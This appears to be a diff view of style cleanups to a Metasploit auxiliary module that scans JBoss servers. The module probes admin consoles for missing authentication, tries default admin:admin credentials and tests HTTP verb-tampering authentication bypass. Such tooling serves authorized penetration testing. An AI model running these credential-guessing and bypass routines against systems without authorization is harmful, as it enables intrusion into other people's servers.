7
7
require 'msf/core'
8
8
9
9
class Metasploit3 < Msf ::Auxiliary
10
-
11
10
include Msf ::Exploit ::Remote ::HttpClient
12
11
include Msf ::Auxiliary ::Scanner
13
12
include Msf ::Auxiliary ::Report
14
13
15
14
def initialize ( info = { } )
16
15
super ( update_info ( info ,
17
16
'Name' => 'JBoss Vulnerability Scanner' ,
18
- 'Description' => %q{
17
+ 'Description' => %q(
19
18
This module scans a JBoss instance for a few vulnerablities.
20
- } ,
19
+ ) ,
21
20
'Author' =>
22
21
[
23
22
'Tyler Krpata' ,
@@ -32,31 +31,29 @@ def initialize(info = {})
32
31
33
32
register_options (
34
33
[
35
- OptString . new ( 'VERB' , [ true , "Verb for auth bypass testing" , "HEAD" ] ) ,
34
+ OptString . new ( 'VERB' , [ true , "Verb for auth bypass testing" , "HEAD" ] )
36
35
] , self . class )
37
36
end
38
37
39
-
40
38
def run_host ( ip )
41
-
42
39
res = send_request_cgi (
43
40
{
44
- 'uri' => "/" + Rex ::Text . rand_text_alpha ( 12 ) ,
41
+ 'uri' => "/" + Rex ::Text . rand_text_alpha ( 12 ) ,
45
42
'method' => 'GET' ,
46
- 'ctype' => 'text/plain' ,
47
-
43
+ 'ctype' => 'text/plain'
48
44
} , 20 )
49
45
50
46
if res
51
47
52
- info = http_fingerprint ( { :response => res } )
48
+ info = http_fingerprint ( :response => res )
53
49
print_status ( info )
54
50
55
- if ( res . body and />(JBoss[^<]+)/ . match ( res . body ) )
51
+ if res . body && />(JBoss[^<]+)/ . match ( res . body )
56
52
print_error ( "#{ rhost } :#{ rport } JBoss error message: #{ $1} " )
57
53
end
58
54
59
- apps = [ '/jmx-console/HtmlAdaptor' ,
55
+ apps = [
56
+ '/jmx-console/HtmlAdaptor' ,
60
57
'/status' ,
61
58
'/web-console/ServerInfo.jsp' ,
62
59
# apps added per Patrick Hof
@@ -78,22 +75,21 @@ def run_host(ip)
78
75
4444 => 'RMI invoker'
79
76
}
80
77
print_status ( "#{ rhost } :#{ rport } Checking services..." )
81
- ports . each do |port , service |
82
- status = test_connection ( ip , port ) == :up ? "open" : "closed" ;
78
+ ports . each do |port , service |
79
+ status = test_connection ( ip , port ) == :up ? "open" : "closed"
83
80
print_status ( "#{ rhost } :#{ rport } #{ service } tcp/#{ port } : #{ status } " )
84
81
end
85
82
end
86
83
end
87
84
88
85
def check_app ( app )
89
-
90
86
res = send_request_cgi ( {
91
87
'uri' => app ,
92
88
'method' => 'GET' ,
93
- 'ctype' => 'text/plain' ,
89
+ 'ctype' => 'text/plain'
94
90
} , 20 )
95
91
96
- if ( res )
92
+ if res
97
93
case
98
94
when res . code == 200
99
95
print_good ( "#{ rhost } :#{ rport } #{ app } does not require authentication (200)" )
@@ -115,35 +111,34 @@ def check_app(app)
115
111
end
116
112
end
117
113
118
- def jboss_as_default_creds ( )
114
+ def jboss_as_default_creds
119
115
print_status ( "#{ rhost } :#{ rport } Checking for JBoss AS default creds" )
120
116
121
- session = jboss_as_session_setup ( rhost , rport )
122
- if session . nil?
123
- return
124
- end
117
+ session = jboss_as_session_setup ( rhost , rport )
118
+ return false if session . nil?
125
119
126
- # Default AS creds
127
- username = "admin"
128
- password = "admin"
129
-
130
- res = send_request_raw ( {
131
- 'uri' => "/admin-console/login.seam" ,
132
- 'method' => "POST" ,
133
- 'version' => '1.1' ,
134
- 'vhost' => "#{ rhost } " ,
135
- 'headers' => { "Content-Type" => "application/x-www-form-urlencoded" ,
136
- "Cookie" => "JSESSIONID=#{ session [ "jsessionid" ] } " } ,
137
- 'data' => "login_form=login_form&login_form%3Aname=#{ username } &login_form%3Apassword=#{ password } &login_form%3Asubmit=Login&javax.faces.ViewState=#{ session [ "viewstate" ] } "
138
- } , 20 )
120
+ # Default AS creds
121
+ username = "admin"
122
+ password = "admin"
139
123
140
- # Valid creds if 302 redirected to summary.seam and not error.seam
141
- if ( res and res . code == 302 and /error.seam/m !~ res . headers . to_s and /summary.seam/m =~ res . headers . to_s )
142
- print_good ( "#{ rhost } :#{ rport } Authenticated using #{ username } :#{ password } at /admin-console/" )
143
- add_creds ( username , password )
144
- else
145
- print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
146
- end
124
+ res = send_request_raw ( {
125
+ "uri" => "/admin-console/login.seam" ,
126
+ "method" => "POST" ,
127
+ "version" => "1.1" ,
128
+ "vhost" => "#{ rhost } " ,
129
+ "headers" => { "Content-Type" => "application/x-www-form-urlencoded" ,
130
+ "Cookie" => "JSESSIONID=#{ session [ 'jsessionid' ] } "
131
+ } ,
132
+ "data" => "login_form=login_form&login_form%3Aname=#{ username } &login_form%3Apassword=#{ password } &login_form%3Asubmit=Login&javax.faces.ViewState=#{ session [ "viewstate" ] } "
133
+ } , 20 )
134
+
135
+ # Valid creds if 302 redirected to summary.seam and not error.seam
136
+ if res && res . code == 302 && /error.seam/m !~ res . headers . to_s && /summary.seam/m =~ res . headers . to_s
137
+ print_good ( "#{ rhost } :#{ rport } Authenticated using #{ username } :#{ password } at /admin-console/" )
138
+ add_creds ( username , password )
139
+ else
140
+ print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
141
+ end
147
142
end
148
143
149
144
def add_creds ( username , password )
@@ -173,10 +168,10 @@ def jboss_as_session_setup(rhost, rport)
173
168
'uri' => "/admin-console/login.seam" ,
174
169
'method' => "GET" ,
175
170
'version' => "1.1" ,
176
- 'vhost' => "#{ rhost } " ,
171
+ 'vhost' => "#{ rhost } "
177
172
} , 20 )
178
173
179
- if ( res )
174
+ if res
180
175
begin
181
176
viewstate = /javax.faces.ViewState" value="(.*)" auto/ . match ( res . body ) . captures [ 0 ]
182
177
jsessionid = /JSESSIONID=(.*);/ . match ( res . headers . to_s ) . captures [ 0 ]
@@ -197,7 +192,7 @@ def bypass_auth(app)
197
192
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
198
193
} , 20 )
199
194
200
- if ( res and res . code == 200 )
195
+ if res && res . code == 200
201
196
print_good ( "#{ rhost } :#{ rport } Got authentication bypass via HTTP verb tampering" )
202
197
else
203
198
print_status ( "#{ rhost } :#{ rport } Could not get authentication bypass via HTTP verb tampering" )
@@ -209,30 +204,29 @@ def basic_auth_default_creds(app)
209
204
'uri' => app ,
210
205
'method' => 'GET' ,
211
206
'ctype' => 'text/plain' ,
212
- 'authorization' => basic_auth ( 'admin' , 'admin' )
207
+ 'authorization' => basic_auth ( 'admin' , 'admin' )
213
208
} , 20 )
214
209
215
- if ( res and res . code == 200 )
210
+ if res && res . code == 200
216
211
print_good ( "#{ rhost } :#{ rport } Authenticated using admin:admin at #{ app } " )
217
- add_creds ( "admin" , "admin" )
212
+ add_creds ( "admin" , "admin" )
218
213
else
219
214
print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
220
215
end
221
216
end
222
217
223
218
# function stole'd from mssql_ping
224
- def test_connection ( ip , port )
219
+ def test_connection ( ip , port )
225
220
begin
226
221
sock = Rex ::Socket ::Tcp . create (
227
222
'PeerHost' => ip ,
228
223
'PeerPort' => port ,
229
224
'Timeout' => 20
230
- )
225
+ )
231
226
rescue Rex ::ConnectionError
232
227
return :down
233
228
end
234
229
sock . close
235
230
return :up
236
231
end
237
-
238
232
end
0 commit comments